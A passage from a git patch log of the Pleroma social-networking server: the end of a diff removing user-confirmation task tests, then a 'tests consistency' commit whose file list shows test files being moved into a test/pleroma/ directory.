user1 = insert(:user, confirmation_pending: true) - user2 = insert(:user, confirmation_pending: true) - - assert user1.confirmation_pending - assert user2.confirmation_pending - - Mix.Tasks.Pleroma.User.run(["confirm_all"]) - - user1 = User.get_cached_by_nickname(user1.nickname) - user2 = User.get_cached_by_nickname(user2.nickname) - - refute user1.confirmation_pending - refute user2.confirmation_pending - end - - test "unconfirm all" do - user1 = insert(:user, confirmation_pending: false) - user2 = insert(:user, confirmation_pending: false) - admin = insert(:user, is_admin: true, confirmation_pending: false) - mod = insert(:user, is_moderator: true, confirmation_pending: false) - - refute user1.confirmation_pending - refute user2.confirmation_pending - - Mix.Tasks.Pleroma.User.run(["unconfirm_all"]) - - user1 = User.get_cached_by_nickname(user1.nickname) - user2 = User.get_cached_by_nickname(user2.nickname) - admin = User.get_cached_by_nickname(admin.nickname) - mod = User.get_cached_by_nickname(mod.nickname) - - assert user1.confirmation_pending - assert user2.confirmation_pending - refute admin.confirmation_pending - refute mod.confirmation_pending - end - end -end -- cgit v1.2.3 From 7dffaef4799b0e867e91e19b76567c0e1a19bb43 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 23 Jun 2020 18:16:47 +0300 Subject: tests consistency --- test/activity/ir/topics_test.exs | 145 -- test/activity_test.exs | 234 -- test/bbs/handler_test.exs | 89 - test/bookmark_test.exs | 56 - test/captcha_test.exs | 118 - test/chat/message_reference_test.exs | 29 - test/chat_test.exs | 83 - test/config/config_db_test.exs | 546 ----- test/config/deprecation_warnings_test.exs | 140 -- test/config/holder_test.exs | 31 - test/config/loader_test.exs | 29 - test/config/transfer_task_test.exs | 120 -- test/config_test.exs | 139 -- test/conversation/participation_test.exs | 363 ---- test/conversation_test.exs | 199 -- test/docs/generator_test.exs | 226 -- test/earmark_renderer_test.exs | 79 - test/emails/admin_email_test.exs | 69 - test/emails/mailer_test.exs | 55 - test/emails/user_email_test.exs | 48 - test/emoji/formatter_test.exs | 49 - test/emoji/loader_test.exs | 83 - test/emoji_test.exs | 43 - test/federation/federation_test.exs | 47 - test/filter_test.exs | 158 -- test/fixtures/modules/runtime_module.ex | 2 +- test/following_relationship_test.exs | 47 - test/formatter_test.exs | 312 --- test/healthcheck_test.exs | 33 - test/html_test.exs | 255 --- test/http/adapter_helper/gun_test.exs | 84 - test/http/adapter_helper/hackney_test.exs | 35 - test/http/adapter_helper_test.exs | 28 - test/http/request_builder_test.exs | 85 - test/http_test.exs | 70 - test/integration/mastodon_websocket_test.exs | 128 -- test/job_queue_monitor_test.exs | 70 - test/keys_test.exs | 24 - test/list_test.exs | 149 -- test/marker_test.exs | 78 - test/mfa/backup_codes_test.exs | 15 - test/mfa/totp_test.exs | 21 - test/mfa_test.exs | 52 - .../notification_backfill_test.exs | 56 - test/moderation_log_test.exs | 297 --- test/notification_test.exs | 1144 ---------- test/object/containment_test.exs | 125 -- test/object/fetcher_test.exs | 245 --- test/object_test.exs | 402 ---- test/otp_version_test.exs | 42 - test/pagination_test.exs | 92 - test/pleroma/activity/ir/topics_test.exs | 145 ++ test/pleroma/activity_test.exs | 234 ++ test/pleroma/bbs/handler_test.exs | 89 + test/pleroma/bookmark_test.exs | 56 + test/pleroma/captcha_test.exs | 118 + test/pleroma/chat/message_reference_test.exs | 29 + test/pleroma/chat_test.exs | 83 + test/pleroma/config/deprecation_warnings_test.exs | 140 ++ test/pleroma/config/holder_test.exs | 31 + test/pleroma/config/loader_test.exs | 29 + test/pleroma/config/transfer_task_test.exs | 120 ++ test/pleroma/config_db_test.exs | 546 +++++ test/pleroma/config_test.exs | 139 ++ test/pleroma/conversation/participation_test.exs | 363 ++++ test/pleroma/conversation_test.exs | 199 ++ test/pleroma/docs/generator_test.exs | 226 ++ test/pleroma/earmark_renderer_test.exs | 79 + .../object_validators/date_time_test.exs | 36 + .../object_validators/object_id_test.exs | 41 + .../object_validators/recipients_test.exs | 31 + .../object_validators/safe_text_test.exs | 30 + test/pleroma/emails/admin_email_test.exs | 69 + test/pleroma/emails/mailer_test.exs | 55 + test/pleroma/emails/user_email_test.exs | 48 + test/pleroma/emoji/formatter_test.exs | 49 + test/pleroma/emoji/loader_test.exs | 83 + test/pleroma/emoji_test.exs | 43 + test/pleroma/filter_test.exs | 158 ++ test/pleroma/following_relationship_test.exs | 47 + test/pleroma/formatter_test.exs | 312 +++ test/pleroma/healthcheck_test.exs | 33 + test/pleroma/html_test.exs | 255 +++ test/pleroma/http/adapter_helper/gun_test.exs | 84 + test/pleroma/http/adapter_helper/hackney_test.exs | 35 + test/pleroma/http/adapter_helper_test.exs | 28 + test/pleroma/http/request_builder_test.exs | 85 + test/pleroma/http_test.exs | 70 + test/pleroma/instances/instance_test.exs | 152 ++ test/pleroma/instances_test.exs | 124 ++ test/pleroma/integration/federation_test.exs | 47 + .../integration/mastodon_websocket_test.exs | 128 ++ test/pleroma/job_queue_monitor_test.exs | 70 + test/pleroma/keys_test.exs | 24 + test/pleroma/list_test.exs | 149 ++ test/pleroma/marker_test.exs | 78 + test/pleroma/mfa/backup_codes_test.exs | 15 + test/pleroma/mfa/totp_test.exs | 21 + test/pleroma/mfa_test.exs | 52 + .../notification_backfill_test.exs | 56 + test/pleroma/moderation_log_test.exs | 297 +++ test/pleroma/notification_test.exs | 1144 ++++++++++ test/pleroma/object/containment_test.exs | 125 ++ test/pleroma/object/fetcher_test.exs | 245 +++ test/pleroma/object_test.exs | 402 ++++ test/pleroma/otp_version_test.exs | 42 + test/pleroma/pagination_test.exs | 92 + test/pleroma/registration_test.exs | 59 + test/pleroma/repo_test.exs | 80 + test/pleroma/reverse_proxy_test.exs | 336 +++ test/pleroma/runtime_test.exs | 12 + test/pleroma/safe_jsonb_set_test.exs | 16 + test/pleroma/scheduled_activity_test.exs | 105 + test/pleroma/signature_test.exs | 134 ++ test/pleroma/stats_test.exs | 122 ++ .../upload/filter/anonymize_filename_test.exs | 42 + test/pleroma/upload/filter/dedupe_test.exs | 32 + test/pleroma/upload/filter/mogrifun_test.exs | 44 + test/pleroma/upload/filter/mogrify_test.exs | 41 + test/pleroma/upload/filter_test.exs | 33 + test/pleroma/upload_test.exs | 287 +++ test/pleroma/uploaders/local_test.exs | 55 + test/pleroma/uploaders/s3_test.exs | 88 + test/pleroma/user/notification_setting_test.exs | 21 + test/pleroma/user_invite_token_test.exs | 96 + test/pleroma/user_relationship_test.exs | 130 ++ test/pleroma/user_search_test.exs | 362 ++++ test/pleroma/user_test.exs | 2124 ++++++++++++++++++ .../activity_pub/activity_pub_controller_test.exs | 1550 ++++++++++++++ .../pleroma/web/activity_pub/activity_pub_test.exs | 2260 ++++++++++++++++++++ .../force_bot_unlisted_policy_test.exs | 60 + .../mrf/activity_expiration_policy_test.exs | 84 + .../mrf/anti_followbot_policy_test.exs | 72 + .../mrf/anti_link_spam_policy_test.exs | 166 ++ .../activity_pub/mrf/ensure_re_prepended_test.exs | 92 + .../activity_pub/mrf/hellthread_policy_test.exs | 92 + .../web/activity_pub/mrf/keyword_policy_test.exs | 225 ++ .../mrf/media_proxy_warming_policy_test.exs | 53 + .../web/activity_pub/mrf/mention_policy_test.exs | 96 + .../mrf/no_placeholder_text_policy_test.exs | 37 + .../web/activity_pub/mrf/normalize_markup_test.exs | 42 + .../activity_pub/mrf/object_age_policy_test.exs | 148 ++ .../activity_pub/mrf/reject_non_public_test.exs | 100 + .../web/activity_pub/mrf/simple_policy_test.exs | 539 +++++ .../activity_pub/mrf/steal_emoji_policy_test.exs | 68 + .../web/activity_pub/mrf/subchain_policy_test.exs | 33 + .../web/activity_pub/mrf/tag_policy_test.exs | 123 ++ .../mrf/user_allow_list_policy_test.exs | 31 + .../activity_pub/mrf/vocabulary_policy_test.exs | 106 + test/pleroma/web/activity_pub/mrf_test.exs | 90 + test/pleroma/web/activity_pub/pipeline_test.exs | 179 ++ test/pleroma/web/activity_pub/publisher_test.exs | 365 ++++ test/pleroma/web/activity_pub/relay_test.exs | 168 ++ .../pleroma/web/activity_pub/side_effects_test.exs | 639 ++++++ .../transmogrifier/announce_handling_test.exs | 172 ++ .../transmogrifier/chat_message_test.exs | 171 ++ .../transmogrifier/delete_handling_test.exs | 114 + .../transmogrifier/emoji_react_handling_test.exs | 61 + .../transmogrifier/follow_handling_test.exs | 208 ++ .../transmogrifier/like_handling_test.exs | 78 + .../transmogrifier/undo_handling_test.exs | 185 ++ .../web/activity_pub/transmogrifier_test.exs | 1220 +++++++++++ test/pleroma/web/activity_pub/utils_test.exs | 548 +++++ .../web/activity_pub/views/object_view_test.exs | 84 + .../web/activity_pub/views/user_view_test.exs | 180 ++ test/pleroma/web/activity_pub/visibility_test.exs | 230 ++ .../controllers/admin_api_controller_test.exs | 2034 ++++++++++++++++++ .../controllers/config_controller_test.exs | 1465 +++++++++++++ .../controllers/invite_controller_test.exs | 281 +++ .../media_proxy_cache_controller_test.exs | 167 ++ .../controllers/oauth_app_controller_test.exs | 220 ++ .../controllers/relay_controller_test.exs | 99 + .../controllers/report_controller_test.exs | 372 ++++ .../controllers/status_controller_test.exs | 202 ++ test/pleroma/web/admin_api/search_test.exs | 190 ++ .../web/admin_api/views/report_view_test.exs | 146 ++ test/pleroma/web/api_spec/schema_examples_test.exs | 43 + test/pleroma/web/auth/auth_controller_test.exs | 242 +++ test/pleroma/web/auth/authenticator_test.exs | 42 + test/pleroma/web/auth/basic_auth_test.exs | 46 + .../web/auth/pleroma_authenticator_test.exs | 48 + test/pleroma/web/auth/totp_authenticator_test.exs | 51 + test/pleroma/web/chat_channel_test.exs | 41 + test/pleroma/web/common_api/utils_test.exs | 593 +++++ test/pleroma/web/common_api_test.exs | 1244 +++++++++++ test/pleroma/web/fallback_test.exs | 80 + test/pleroma/web/federator_test.exs | 173 ++ test/pleroma/web/feed/tag_controller_test.exs | 197 ++ test/pleroma/web/feed/user_controller_test.exs | 265 +++ .../controllers/account_controller_test.exs | 1536 +++++++++++++ .../controllers/app_controller_test.exs | 60 + .../controllers/auth_controller_test.exs | 159 ++ .../controllers/conversation_controller_test.exs | 209 ++ .../controllers/custom_emoji_controller_test.exs | 23 + .../controllers/domain_block_controller_test.exs | 79 + .../controllers/filter_controller_test.exs | 152 ++ .../controllers/follow_request_controller_test.exs | 74 + .../controllers/instance_controller_test.exs | 87 + .../controllers/list_controller_test.exs | 176 ++ .../controllers/marker_controller_test.exs | 131 ++ .../controllers/media_controller_test.exs | 146 ++ .../controllers/notification_controller_test.exs | 626 ++++++ .../controllers/poll_controller_test.exs | 171 ++ .../controllers/report_controller_test.exs | 95 + .../scheduled_activity_controller_test.exs | 139 ++ .../controllers/search_controller_test.exs | 413 ++++ .../controllers/status_controller_test.exs | 1743 +++++++++++++++ .../controllers/subscription_controller_test.exs | 199 ++ .../controllers/suggestion_controller_test.exs | 18 + .../controllers/timeline_controller_test.exs | 560 +++++ .../web/mastodon_api/masto_fe_controller_test.exs | 85 + .../mastodon_api/mastodon_api_controller_test.exs | 34 + .../pleroma/web/mastodon_api/mastodon_api_test.exs | 103 + .../web/mastodon_api/update_credentials_test.exs | 529 +++++ .../web/mastodon_api/views/account_view_test.exs | 575 +++++ .../mastodon_api/views/conversation_view_test.exs | 44 + .../web/mastodon_api/views/list_view_test.exs | 32 + .../web/mastodon_api/views/marker_view_test.exs | 29 + .../mastodon_api/views/notification_view_test.exs | 231 ++ .../web/mastodon_api/views/poll_view_test.exs | 167 ++ .../views/scheduled_activity_view_test.exs | 68 + .../web/mastodon_api/views/status_view_test.exs | 664 ++++++ .../mastodon_api/views/subscription_view_test.exs | 23 + .../web/media_proxy/invalidation/http_test.exs | 43 + .../web/media_proxy/invalidation/script_test.exs | 30 + test/pleroma/web/media_proxy/invalidation_test.exs | 68 + .../media_proxy/media_proxy_controller_test.exs | 342 +++ test/pleroma/web/media_proxy_test.exs | 234 ++ test/pleroma/web/metadata/player_view_test.exs | 33 + test/pleroma/web/metadata/providers/feed_test.exs | 18 + .../web/metadata/providers/open_graph_test.exs | 96 + .../pleroma/web/metadata/providers/rel_me_test.exs | 21 + .../metadata/providers/restrict_indexing_test.exs | 27 + .../web/metadata/providers/twitter_card_test.exs | 150 ++ test/pleroma/web/metadata/utils_test.exs | 32 + test/pleroma/web/metadata_test.exs | 49 + test/pleroma/web/mongoose_im_controller_test.exs | 81 + test/pleroma/web/node_info_test.exs | 188 ++ test/pleroma/web/o_auth/app_test.exs | 44 + test/pleroma/web/o_auth/authorization_test.exs | 77 + .../pleroma/web/o_auth/ldap_authorization_test.exs | 135 ++ test/pleroma/web/o_auth/mfa_controller_test.exs | 306 +++ test/pleroma/web/o_auth/o_auth_controller_test.exs | 1232 +++++++++++ test/pleroma/web/o_auth/token/utils_test.exs | 53 + test/pleroma/web/o_auth/token_test.exs | 72 + .../web/o_status/o_status_controller_test.exs | 338 +++ .../controllers/account_controller_test.exs | 284 +++ .../controllers/chat_controller_test.exs | 410 ++++ .../controllers/conversation_controller_test.exs | 136 ++ .../controllers/emoji_pack_controller_test.exs | 604 ++++++ .../controllers/emoji_reaction_controller_test.exs | 149 ++ .../controllers/mascot_controller_test.exs | 73 + .../controllers/notification_controller_test.exs | 68 + .../controllers/scrobble_controller_test.exs | 60 + .../two_factor_authentication_controller_test.exs | 264 +++ .../views/chat_message_reference_view_test.exs | 72 + .../web/pleroma_api/views/chat_view_test.exs | 49 + .../web/pleroma_api/views/scrobble_view_test.exs | 20 + .../admin_secret_authentication_plug_test.exs | 75 + .../pleroma/web/plugs/authentication_plug_test.exs | 125 ++ .../web/plugs/basic_auth_decoder_plug_test.exs | 35 + test/pleroma/web/plugs/cache_control_test.exs | 20 + test/pleroma/web/plugs/cache_test.exs | 186 ++ .../web/plugs/ensure_authenticated_plug_test.exs | 96 + .../ensure_public_or_authenticated_plug_test.exs | 48 + .../web/plugs/ensure_user_key_plug_test.exs | 29 + test/pleroma/web/plugs/federating_plug_test.exs | 31 + test/pleroma/web/plugs/http_security_plug_test.exs | 140 ++ .../pleroma/web/plugs/http_signature_plug_test.exs | 89 + test/pleroma/web/plugs/idempotency_plug_test.exs | 110 + test/pleroma/web/plugs/instance_static_test.exs | 65 + .../web/plugs/legacy_authentication_plug_test.exs | 82 + .../mapped_signature_to_identity_plug_test.exs | 59 + test/pleroma/web/plugs/o_auth_plug_test.exs | 80 + test/pleroma/web/plugs/o_auth_scopes_plug_test.exs | 210 ++ test/pleroma/web/plugs/plug_helper_test.exs | 91 + test/pleroma/web/plugs/rate_limiter_test.exs | 263 +++ test/pleroma/web/plugs/remote_ip_test.exs | 108 + .../web/plugs/session_authentication_plug_test.exs | 63 + test/pleroma/web/plugs/set_format_plug_test.exs | 38 + test/pleroma/web/plugs/set_locale_plug_test.exs | 46 + .../web/plugs/set_user_session_id_plug_test.exs | 45 + .../pleroma/web/plugs/uploaded_media_plug_test.exs | 43 + test/pleroma/web/plugs/user_enabled_plug_test.exs | 59 + test/pleroma/web/plugs/user_fetcher_plug_test.exs | 41 + test/pleroma/web/plugs/user_is_admin_plug_test.exs | 37 + test/pleroma/web/push/impl_test.exs | 344 +++ test/pleroma/web/rel_me_test.exs | 48 + test/pleroma/web/rich_media/helpers_test.exs | 86 + test/pleroma/web/rich_media/parser_test.exs | 176 ++ .../rich_media/parsers/ttl/aws_signed_url_test.exs | 82 + .../web/rich_media/parsers/twitter_card_test.exs | 127 ++ .../web/static_fe/static_fe_controller_test.exs | 196 ++ test/pleroma/web/streamer_test.exs | 767 +++++++ test/pleroma/web/twitter_api/controller_test.exs | 138 ++ .../web/twitter_api/password_controller_test.exs | 81 + .../twitter_api/remote_follow_controller_test.exs | 350 +++ test/pleroma/web/twitter_api/twitter_api_test.exs | 432 ++++ .../web/twitter_api/util_controller_test.exs | 437 ++++ test/pleroma/web/uploader_controller_test.exs | 43 + test/pleroma/web/views/error_view_test.exs | 36 + .../web/web_finger/web_finger_controller_test.exs | 94 + test/pleroma/web/web_finger_test.exs | 116 + .../workers/cron/digest_emails_worker_test.exs | 54 + .../workers/cron/new_users_digest_worker_test.exs | 45 + .../workers/scheduled_activity_worker_test.exs | 49 + test/pleroma/xml_builder_test.exs | 65 + .../admin_secret_authentication_plug_test.exs | 75 - test/plugs/authentication_plug_test.exs | 125 -- test/plugs/basic_auth_decoder_plug_test.exs | 35 - test/plugs/cache_control_test.exs | 20 - test/plugs/cache_test.exs | 186 -- test/plugs/ensure_authenticated_plug_test.exs | 96 - .../ensure_public_or_authenticated_plug_test.exs | 48 - test/plugs/ensure_user_key_plug_test.exs | 29 - test/plugs/http_security_plug_test.exs | 140 -- test/plugs/http_signature_plug_test.exs | 89 - test/plugs/idempotency_plug_test.exs | 110 - test/plugs/instance_static_test.exs | 65 - test/plugs/legacy_authentication_plug_test.exs | 82 - .../mapped_identity_to_signature_plug_test.exs | 59 - test/plugs/oauth_plug_test.exs | 80 - test/plugs/oauth_scopes_plug_test.exs | 210 -- test/plugs/rate_limiter_test.exs | 263 --- test/plugs/remote_ip_test.exs | 108 - test/plugs/session_authentication_plug_test.exs | 63 - test/plugs/set_format_plug_test.exs | 38 - test/plugs/set_locale_plug_test.exs | 46 - test/plugs/set_user_session_id_plug_test.exs | 45 - test/plugs/uploaded_media_plug_test.exs | 43 - test/plugs/user_enabled_plug_test.exs | 59 - test/plugs/user_fetcher_plug_test.exs | 41 - test/plugs/user_is_admin_plug_test.exs | 37 - test/registration_test.exs | 59 - test/repo_test.exs | 80 - test/reverse_proxy/reverse_proxy_test.exs | 336 --- test/runtime_test.exs | 11 - test/safe_jsonb_set_test.exs | 16 - test/scheduled_activity_test.exs | 105 - test/signature_test.exs | 134 -- test/stats_test.exs | 122 -- test/support/captcha/mock.ex | 28 + test/support/captcha_mock.ex | 28 - test/upload/filter/anonymize_filename_test.exs | 42 - test/upload/filter/dedupe_test.exs | 32 - test/upload/filter/mogrifun_test.exs | 44 - test/upload/filter/mogrify_test.exs | 41 - test/upload/filter_test.exs | 33 - test/upload_test.exs | 287 --- test/uploaders/local_test.exs | 55 - test/uploaders/s3_test.exs | 88 - test/user/notification_setting_test.exs | 21 - test/user_invite_token_test.exs | 96 - test/user_relationship_test.exs | 130 -- test/user_search_test.exs | 362 ---- test/user_test.exs | 2124 ------------------ .../activity_pub/activity_pub_controller_test.exs | 1550 -------------- test/web/activity_pub/activity_pub_test.exs | 2260 -------------------- .../mrf/activity_expiration_policy_test.exs | 84 - .../mrf/anti_followbot_policy_test.exs | 72 - .../mrf/anti_link_spam_policy_test.exs | 166 -- .../activity_pub/mrf/ensure_re_prepended_test.exs | 92 - .../mrf/force_bot_unlisted_policy_test.exs | 60 - .../activity_pub/mrf/hellthread_policy_test.exs | 92 - test/web/activity_pub/mrf/keyword_policy_test.exs | 225 -- .../mrf/mediaproxy_warming_policy_test.exs | 53 - test/web/activity_pub/mrf/mention_policy_test.exs | 96 - test/web/activity_pub/mrf/mrf_test.exs | 90 - .../mrf/no_placeholder_text_policy_test.exs | 37 - .../web/activity_pub/mrf/normalize_markup_test.exs | 42 - .../activity_pub/mrf/object_age_policy_test.exs | 148 -- .../activity_pub/mrf/reject_non_public_test.exs | 100 - test/web/activity_pub/mrf/simple_policy_test.exs | 539 ----- .../activity_pub/mrf/steal_emoji_policy_test.exs | 68 - test/web/activity_pub/mrf/subchain_policy_test.exs | 33 - test/web/activity_pub/mrf/tag_policy_test.exs | 123 -- .../mrf/user_allowlist_policy_test.exs | 31 - .../activity_pub/mrf/vocabulary_policy_test.exs | 106 - .../object_validators/types/date_time_test.exs | 36 - .../object_validators/types/object_id_test.exs | 41 - .../object_validators/types/recipients_test.exs | 31 - .../object_validators/types/safe_text_test.exs | 30 - test/web/activity_pub/pipeline_test.exs | 179 -- test/web/activity_pub/publisher_test.exs | 365 ---- test/web/activity_pub/relay_test.exs | 168 -- test/web/activity_pub/side_effects_test.exs | 639 ------ .../transmogrifier/announce_handling_test.exs | 172 -- .../transmogrifier/chat_message_test.exs | 171 -- .../transmogrifier/delete_handling_test.exs | 114 - .../transmogrifier/emoji_react_handling_test.exs | 61 - .../transmogrifier/follow_handling_test.exs | 208 -- .../transmogrifier/like_handling_test.exs | 78 - .../transmogrifier/undo_handling_test.exs | 185 -- test/web/activity_pub/transmogrifier_test.exs | 1220 ----------- test/web/activity_pub/utils_test.exs | 548 ----- test/web/activity_pub/views/object_view_test.exs | 84 - test/web/activity_pub/views/user_view_test.exs | 180 -- test/web/activity_pub/visibilty_test.exs | 230 -- .../controllers/admin_api_controller_test.exs | 2034 ------------------ .../controllers/config_controller_test.exs | 1465 ------------- .../controllers/invite_controller_test.exs | 281 --- .../media_proxy_cache_controller_test.exs | 167 -- .../controllers/oauth_app_controller_test.exs | 220 -- .../controllers/relay_controller_test.exs | 99 - .../controllers/report_controller_test.exs | 372 ---- .../controllers/status_controller_test.exs | 202 -- test/web/admin_api/search_test.exs | 190 -- test/web/admin_api/views/report_view_test.exs | 146 -- test/web/api_spec/schema_examples_test.exs | 43 - test/web/auth/auth_test_controller_test.exs | 242 --- test/web/auth/authenticator_test.exs | 42 - test/web/auth/basic_auth_test.exs | 46 - test/web/auth/pleroma_authenticator_test.exs | 48 - test/web/auth/totp_authenticator_test.exs | 51 - test/web/chat_channel_test.exs | 41 - test/web/common_api/common_api_test.exs | 1244 ----------- test/web/common_api/common_api_utils_test.exs | 593 ----- test/web/fallback_test.exs | 80 - test/web/federator_test.exs | 173 -- test/web/feed/tag_controller_test.exs | 197 -- test/web/feed/user_controller_test.exs | 265 --- test/web/instances/instance_test.exs | 152 -- test/web/instances/instances_test.exs | 124 -- test/web/masto_fe_controller_test.exs | 85 - .../account_controller/update_credentials_test.exs | 529 ----- .../controllers/account_controller_test.exs | 1536 ------------- .../controllers/app_controller_test.exs | 60 - .../controllers/auth_controller_test.exs | 159 -- .../controllers/conversation_controller_test.exs | 209 -- .../controllers/custom_emoji_controller_test.exs | 23 - .../controllers/domain_block_controller_test.exs | 79 - .../controllers/filter_controller_test.exs | 152 -- .../controllers/follow_request_controller_test.exs | 74 - .../controllers/instance_controller_test.exs | 87 - .../controllers/list_controller_test.exs | 176 -- .../controllers/marker_controller_test.exs | 131 -- .../controllers/media_controller_test.exs | 146 -- .../controllers/notification_controller_test.exs | 626 ------ .../controllers/poll_controller_test.exs | 171 -- .../controllers/report_controller_test.exs | 95 - .../scheduled_activity_controller_test.exs | 139 -- .../controllers/search_controller_test.exs | 413 ---- .../controllers/status_controller_test.exs | 1743 --------------- .../controllers/subscription_controller_test.exs | 199 -- .../controllers/suggestion_controller_test.exs | 18 - .../controllers/timeline_controller_test.exs | 560 ----- .../mastodon_api/mastodon_api_controller_test.exs | 34 - test/web/mastodon_api/mastodon_api_test.exs | 103 - test/web/mastodon_api/views/account_view_test.exs | 575 ----- .../mastodon_api/views/conversation_view_test.exs | 44 - test/web/mastodon_api/views/list_view_test.exs | 32 - test/web/mastodon_api/views/marker_view_test.exs | 29 - .../mastodon_api/views/notification_view_test.exs | 231 -- test/web/mastodon_api/views/poll_view_test.exs | 167 -- .../views/scheduled_activity_view_test.exs | 68 - test/web/mastodon_api/views/status_view_test.exs | 664 ------ .../mastodon_api/views/subscription_view_test.exs | 23 - test/web/media_proxy/invalidation_test.exs | 68 - test/web/media_proxy/invalidations/http_test.exs | 43 - test/web/media_proxy/invalidations/script_test.exs | 30 - .../media_proxy/media_proxy_controller_test.exs | 342 --- test/web/media_proxy/media_proxy_test.exs | 234 -- test/web/metadata/feed_test.exs | 18 - test/web/metadata/metadata_test.exs | 49 - test/web/metadata/opengraph_test.exs | 96 - test/web/metadata/player_view_test.exs | 33 - test/web/metadata/rel_me_test.exs | 21 - test/web/metadata/restrict_indexing_test.exs | 27 - test/web/metadata/twitter_card_test.exs | 150 -- test/web/metadata/utils_test.exs | 32 - .../web/mongooseim/mongoose_im_controller_test.exs | 81 - test/web/node_info_test.exs | 188 -- test/web/oauth/app_test.exs | 44 - test/web/oauth/authorization_test.exs | 77 - test/web/oauth/ldap_authorization_test.exs | 135 -- test/web/oauth/mfa_controller_test.exs | 306 --- test/web/oauth/oauth_controller_test.exs | 1232 ----------- test/web/oauth/token/utils_test.exs | 53 - test/web/oauth/token_test.exs | 72 - test/web/ostatus/ostatus_controller_test.exs | 338 --- .../controllers/account_controller_test.exs | 284 --- .../controllers/chat_controller_test.exs | 410 ---- .../controllers/conversation_controller_test.exs | 136 -- .../controllers/emoji_pack_controller_test.exs | 604 ------ .../controllers/emoji_reaction_controller_test.exs | 149 -- .../controllers/mascot_controller_test.exs | 73 - .../controllers/notification_controller_test.exs | 68 - .../controllers/scrobble_controller_test.exs | 60 - .../two_factor_authentication_controller_test.exs | 264 --- .../views/chat/message_reference_view_test.exs | 72 - test/web/pleroma_api/views/chat_view_test.exs | 49 - test/web/pleroma_api/views/scrobble_view_test.exs | 20 - test/web/plugs/federating_plug_test.exs | 31 - test/web/plugs/plug_test.exs | 91 - test/web/push/impl_test.exs | 344 --- test/web/rel_me_test.exs | 48 - test/web/rich_media/aws_signed_url_test.exs | 82 - test/web/rich_media/helpers_test.exs | 86 - test/web/rich_media/parser_test.exs | 176 -- test/web/rich_media/parsers/twitter_card_test.exs | 127 -- test/web/static_fe/static_fe_controller_test.exs | 196 -- test/web/streamer/streamer_test.exs | 767 ------- test/web/twitter_api/password_controller_test.exs | 81 - .../twitter_api/remote_follow_controller_test.exs | 350 --- .../twitter_api/twitter_api_controller_test.exs | 138 -- test/web/twitter_api/twitter_api_test.exs | 432 ---- test/web/twitter_api/util_controller_test.exs | 437 ---- test/web/uploader_controller_test.exs | 43 - test/web/views/error_view_test.exs | 36 - test/web/web_finger/web_finger_controller_test.exs | 94 - test/web/web_finger/web_finger_test.exs | 116 - test/workers/cron/digest_emails_worker_test.exs | 54 - test/workers/cron/new_users_digest_worker_test.exs | 45 - test/workers/scheduled_activity_worker_test.exs | 49 - test/xml_builder_test.exs | 65 - 515 files changed, 51957 insertions(+), 51956 deletions(-) delete mode 100644 test/activity/ir/topics_test.exs delete mode 100644 test/activity_test.exs delete mode 100644 test/bbs/handler_test.exs delete mode 100644 test/bookmark_test.exs delete mode 100644 test/captcha_test.exs delete mode 100644 test/chat/message_reference_test.exs delete mode 100644 test/chat_test.exs delete mode 100644 test/config/config_db_test.exs delete mode 100644 test/config/deprecation_warnings_test.exs delete mode 100644 test/config/holder_test.exs delete mode 100644 test/config/loader_test.exs delete mode 100644 test/config/transfer_task_test.exs delete mode 100644 test/config_test.exs delete mode 100644 test/conversation/participation_test.exs delete mode 100644 test/conversation_test.exs delete mode 100644 test/docs/generator_test.exs delete mode 100644 test/earmark_renderer_test.exs delete mode 100644 test/emails/admin_email_test.exs delete mode 100644 test/emails/mailer_test.exs delete mode 100644 test/emails/user_email_test.exs delete mode 100644 test/emoji/formatter_test.exs delete mode 100644 test/emoji/loader_test.exs delete mode 100644 test/emoji_test.exs delete mode 100644 test/federation/federation_test.exs delete mode 100644 test/filter_test.exs delete mode 100644 test/following_relationship_test.exs delete mode 100644 test/formatter_test.exs delete mode 100644 test/healthcheck_test.exs delete mode 100644 test/html_test.exs delete mode 100644 test/http/adapter_helper/gun_test.exs delete mode 100644 test/http/adapter_helper/hackney_test.exs delete mode 100644 test/http/adapter_helper_test.exs delete mode 100644 test/http/request_builder_test.exs delete mode 100644 test/http_test.exs delete mode 100644 test/integration/mastodon_websocket_test.exs delete mode 100644 test/job_queue_monitor_test.exs delete mode 100644 test/keys_test.exs delete mode 100644 test/list_test.exs delete mode 100644 test/marker_test.exs delete mode 100644 test/mfa/backup_codes_test.exs delete mode 100644 test/mfa/totp_test.exs delete mode 100644 test/mfa_test.exs delete mode 100644 test/migration_helper/notification_backfill_test.exs delete mode 100644 test/moderation_log_test.exs delete mode 100644 test/notification_test.exs delete mode 100644 test/object/containment_test.exs delete mode 100644 test/object/fetcher_test.exs delete mode 100644 test/object_test.exs delete mode 100644 test/otp_version_test.exs delete mode 100644 test/pagination_test.exs create mode 100644 test/pleroma/activity/ir/topics_test.exs create mode 100644 test/pleroma/activity_test.exs create mode 100644 test/pleroma/bbs/handler_test.exs create mode 100644 test/pleroma/bookmark_test.exs create mode 100644 test/pleroma/captcha_test.exs create mode 100644 test/pleroma/chat/message_reference_test.exs create mode 100644 test/pleroma/chat_test.exs create mode 100644 test/pleroma/config/deprecation_warnings_test.exs create mode 100644 test/pleroma/config/holder_test.exs create mode 100644 test/pleroma/config/loader_test.exs create mode 100644 test/pleroma/config/transfer_task_test.exs create mode 100644 test/pleroma/config_db_test.exs create mode 100644 test/pleroma/config_test.exs create mode 100644 test/pleroma/conversation/participation_test.exs create mode 100644 test/pleroma/conversation_test.exs create mode 100644 test/pleroma/docs/generator_test.exs create mode 100644 test/pleroma/earmark_renderer_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs create mode 100644 test/pleroma/emails/admin_email_test.exs create mode 100644 test/pleroma/emails/mailer_test.exs create mode 100644 test/pleroma/emails/user_email_test.exs create mode 100644 test/pleroma/emoji/formatter_test.exs create mode 100644 test/pleroma/emoji/loader_test.exs create mode 100644 test/pleroma/emoji_test.exs create mode 100644 test/pleroma/filter_test.exs create mode 100644 test/pleroma/following_relationship_test.exs create mode 100644 test/pleroma/formatter_test.exs create mode 100644 test/pleroma/healthcheck_test.exs create mode 100644 test/pleroma/html_test.exs create mode 100644 test/pleroma/http/adapter_helper/gun_test.exs create mode 100644 test/pleroma/http/adapter_helper/hackney_test.exs create mode 100644 test/pleroma/http/adapter_helper_test.exs create mode 100644 